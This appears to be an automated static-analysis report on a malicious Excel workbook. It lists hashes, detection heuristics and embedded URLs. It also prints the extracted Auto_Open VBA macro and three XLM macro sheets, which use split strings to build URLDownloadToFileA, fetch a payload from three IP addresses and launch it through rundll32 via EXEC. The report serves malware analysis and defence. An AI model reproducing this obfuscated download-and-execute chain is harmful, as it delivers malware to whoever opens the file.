Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 08fe2e7e3aac2d0e…

MALICIOUS

Office (OOXML)

109.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-13
MD5: b9dedca487dbced24ce73e77402e70ec SHA-1: 10fe9e96cdb5d795b7b03cb6a1ed7d4c08cade6f SHA-256: 08fe2e7e3aac2d0e7ad262c08781e514b8c56cfc07cefa200b0f9e9b6f63f41d
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of dangerous Excel 4.0 macro functions like CALL and EXEC, which are commonly used to download and execute payloads. The Auto_Open VBA macro also calls into hidden sheets, likely to trigger the XLM macros. The embedded URLs point to potential second-stage payload download locations.

Heuristics 6

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: HALT, GOTO, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub Auto_Open()
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.211.91.82/44313,6048108796.dat Referenced by macro
    • http://82.117.252.199/44313,6048108796.datReferenced by macro
    • http://45.138.157.43/44313,6048108796.datReferenced by macro
    • http://91.211.91.82/Referenced by macro
    • http://82.117.252.199/Referenced by macro
    • http://45.138.157.43/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 786 bytes
SHA-256: 19626508773a68d544063e9cd47e5407816d3506d0c5df431dfadcc2ae560644
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()


Application.Run Sheets("JUtgsgg").Range("AJ6")

Application.Run Sheets("JUtgsgg").Range("A5")






End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: 199889e0394000a2e1581ef295e9f53a3c6d626d9f7063b3c9ef8cf8e3ca63c5
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4285 bytes
SHA-256: a3ff78ad476320d5df05f36d29827f0ccf7c95830338250c5be8e68dc7098191
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{DF8B6045-B836-40DC-A5AC-AC252F7F483B}"><dimension ref="AE92:AK113"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="29" width="13.5703125" style="1"/><col min="30" max="30" width="13.5703125" style="1" customWidth="1"/><col min="31" max="33" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="34" max="34" width="19.5703125" style="1" hidden="1" customWidth="1"/><col min="35" max="35" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="36" max="36" width="21.5703125" style="1" hidden="1" customWidth="1"/><col min="37" max="37" width="13.5703125" style="1" hidden="1" customWidth="1"/><col min="38" max="38" width="13.5703125" style="1"/><col min="39" max="39" width="21.42578125" style="1" bestFit="1" customWidth="1"/><col min="40" max="16384" width="13.5703125" style="1"/></cols><sheetData><row r="92" spans="33:36" x14ac:dyDescent="0.25"><c r="AI92" s="1"><v>1</v></c></row><row r="93" spans="33:36" x14ac:dyDescent="0.25"><c r="AI93" s="1"><v>9</v></c></row><row r="94" spans="33:36" x14ac:dyDescent="0.25"><c r="AJ94" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","Grestes")</f><v>0</v></c></row><row r="95" spans="33:36" x14ac:dyDescent="0.25"><c r="AG95" s="1" t="str"><f>CONCATENATE(AG101,AH95,AG99,AG100)</f><v>http://91.211.91.82/44313,6048108796.dat</v></c><c r="AH95" s="1"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="96" spans="33:36" x14ac:dyDescent="0.25"><c r="AG96" s="1" t="str"><f>CONCATENATE(AG102,AH95,AG99,AG100)</f><v>http://82.117.252.199/44313,6048108796.dat</v></c></row><row r="97" spans="33:36" x14ac:dyDescent="0.25"><c r="AG97" s="1" t="str"><f>CONCATENATE(AG103,AH95,AG99,AG100)</f><v>http://45.138.157.43/44313,6048108796.dat</v></c><c r="AJ97" s="1" t="b"><f>HALT()</f><v>0</v></c></row><row r="98" spans="33:36" x14ac:dyDescent="0.25"><c r="AH98" s="1" t="str"><f>CONCATENATE(AG106,AG107,AG113)</f><v>URLDownloadToFileA</v></c></row><row r="99" spans="33:36" x14ac:dyDescent="0.25"><c r="AG99" s="1" t="s"><v>0</v></c><c r="AI99" s="1" t="s"><v>1</v></c></row><row r="100" spans="33:36" x14ac:dyDescent="0.25"><c r="AG100" s="1" t="s"><v>2</v></c></row><row r="101" spans="33:36" x14ac:dyDescent="0.25"><c r="AG101" s="1" t="str"><f>"http://91.211.91.82/"</f><v>http://91.211.91.82/</v></c><c r="AI101" s="1" t="s"><v>3</v></c></row><row r="102" spans="33:36" x14ac:dyDescent="0.25"><c r="AG102" s="1" t="str"><f>"http://82.117.252.199/"</f><v>http://82.117.252.199/</v></c><c r="AI102" s="1" t="s"><v>4</v></c></row><row r="103" spans="33:36" x14ac:dyDescent="0.25"><c r="AG103" s="1" t="str"><f>"http://45.138.157.43/"</f><v>http://45.138.157.43/</v></c></row><row r="104" spans="33:36" x14ac:dyDescent="0.25"><c r="AH104" s="1" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c></row><row r="105" spans="33:36" x14ac:dyDescent="0.25"><c r="AI105" s="1" t="s"><v>5</v></c></row><row r="106" spans="33:36" x14ac:dyDescent="0.25"><c r="AG106" s="1" t="str"><f>"URLDow"</f><v>URLDow</v></c></row><row r="107" spans="33:36" x14ac:dyDescent="0.25"><c r="AG107" s="1" t="str"><f>"nloadToF"</f><v>nloadToF</v></c></row><row r="113" spans="33:33" x14ac:dyDescent="0.25"><c r="AG113" s="1" t="str"><f>"ileA"</f><v>ileA</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2111 bytes
SHA-256: a5fc80b1569128bd0323daacf4b0484b147d9d37755aacc26435ea011bd9f0cd
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{505B4405-D1BA-4A49-969C-12F950A2EDD3}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="7.85546875" style="1"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="1" t="b"><f>REGISTER(JUtgsgg!AI99,JUtgsgg!AH98,JUtgsgg!AI101,JUtgsgg!AI102,,JUtgsgg!AI92,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="1" t="e"><f>Belandes(0,JUtgsgg!AG95,JUtgsgg!AI105,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="1" t="e"><f>IF(G12&lt;0, Belandes(0,JUtgsgg!AG96,JUtgsgg!AI105,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="1" t="e"><f>IF(G13&lt;0, Belandes(0,JUtgsgg!AG97,JUtgsgg!AI105,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1"><f>IF(G14&lt;0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="1" t="e"><f>GOTO(Jioka!H4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1944 bytes
SHA-256: a6c079d2a564b952bdc7f60d49402489a374e91f07f8b51ef328523d2a650900
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E09DE6CC-F7FE-45A7-AA3D-E8E197BA8A24}"><dimension ref="H7:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="1"/><col min="8" max="8" width="9.85546875" style="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="7" spans="8:9" x14ac:dyDescent="0.25"><c r="I7" s="1" t="str"><f>"rund"</f><v>rund</v></c></row><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="1" t="str"><f>"ll32 ..\TYFYTY.GVTYGU,DllReg"</f><v>ll32 ..\TYFYTY.GVTYGU,DllReg</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="1" t="str"><f>"isterServer"</f><v>isterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="1" t="b"><f>EXEC(I7&amp;I9&amp;I10)=PI()</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>